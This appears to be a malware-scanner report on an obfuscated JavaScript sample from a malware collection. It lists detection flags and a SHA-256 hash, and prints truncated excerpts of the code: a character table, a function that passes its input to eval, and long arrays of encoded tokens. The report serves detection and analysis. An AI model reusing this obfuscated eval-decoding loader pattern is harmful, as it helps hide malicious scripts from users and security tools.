Suspicious ^80% javascript-malware-collection Download

20151210_2a88fd5a88ab56135983f322f8eca31a.js

Obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256afcd20c7e28b6a9c4264f5ca421ef106beed163e2818ae492df8b2771530a36b

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var KvkseUaInsiPj=[];
2iBHHDIs=(-811+811)/870;while(true){if(iBHHDIs>=(55490+446)/437){break;}KvkseUaInsiPj[iBHHDIs]=String.fromCharCode(iBHHDIs);iBHHDIs++;}
3function iPbyP(vOMtMYJLyoQ,qoiBuUzGaGJyz,VGypYhlW){OmpH=parseInt(vOMtMYJLyoQ,qoiBuUzGaGJyz);IZjFu=OmpH.toString(VGypYhlW);return IZjFu;}function WsylfpnjqnoHRcW(brrmQpaQALGauOAwb){eval(brrmQpaQALGauOAwb)}
4function pUNXIurjGRygFIMfPAmessKeqAZFFetEwlQboIDBtKDeRHBopBxzBU(PnZkXJQFsAPjf,UjaEWNMeJyYNaE){ return KvkseUaInsiPj[iPbyP(PnZkXJQFsAPjf[UjaEWNMeJyYNaE],(16730+420)/686,(1391+589)/198)];}
5function yGIQLhn(myZeUYYIklxTiqiKNGPfRAxwVIUQpgWpSgaH) {return !isNaN(parseFloat(myZeUYYIklxTiqiKNGPfRAxwVIUQpgWpSgaH)) && isFinite(myZeUYYIklxTiqiKNGPfRAxwVIUQpgWpSgaH);}
6function UINTpgoBzKs(FhyJyRoC,UggNMH){return FhyJyRoC.split(UggNMH)}
7var T=[];T[0]="d";T[1]="a";T[2]="d";T[3]="a";T[4]="4i";T[5]="3m";T[6]="4e";T[7]="17";T[8]="2o";T[9]="17";T[10]="2b";T …

Massive array index assignment line 8

8:4336… ";L[862]="4g";L[863]="4e";L[864]="4l";L[865]="17";L[866]="17";L[867]="4n";L[868]="d";L[869]="a";L[870]="17";L[871]="17";L[872]="17";L[873]="17";L[874]="17";L[875]="17";L[876]="17";L[877]="17";L[878]="17";L[879]="17";L[880]="45";L[881]="42";L[882]="17";L[883]="1f";L[884]="1f";L[885]="1f";L[886]="4a";L[887]="41";L[888]="4j";L[889]="17";L[890]="2i";L[891]="3m";L[892]="4g";L[893]="41";L[894]="1f";L[895]="1g";L …